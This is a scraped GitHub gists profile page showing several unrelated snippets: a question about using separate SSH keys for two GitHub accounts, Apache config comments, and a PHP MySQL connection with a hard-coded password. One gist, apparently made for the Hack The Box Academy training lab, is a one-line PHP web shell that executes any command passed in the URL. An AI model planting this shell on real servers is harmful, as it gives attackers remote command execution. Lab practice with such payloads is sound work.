Skip to content

Instantly share code, notes, and snippets.

View ajesaramos's full-sized avatar

aljesaramos ajesaramos

View GitHub Profile

How to follow this guide

The problem

I have one computer and two different github accounts. One is for work, the other is for my personal stuff. I can't use the same ssh key twice, so I have to use different ssh key for each of my accounts. How do I do that? How do I switch between these ssh keys?

@ajesaramos
ajesaramos / incluyeme.php
Last active March 1, 2021 16:56
test shell for hacktheboxacademy
<?php system($_GET['cmd']); ?>
# This is the main Apache server configuration file. It contains the
# configuration directives that give the server its instructions.
# See http://httpd.apache.org/docs/2.4/ for detailed information about
# the directives and /usr/share/doc/apache2/README.Debian about Debian specific
# hints.
#
#
# Summary of how the Apache 2 configuration works in Debian:
# The Apache 2 web server configuration in Debian is quite different to
# upstream's suggested way to configure the web server. This is because Debian's
<?php
//vars
$servername = "vulnerable";
$username = "alvaro";
$password = "g1v3m3d4t4";
$dbname = "vulnerable";
//crear coneccion
$conn = new mysqli($servername, $username, $password, $dbname);
//check connection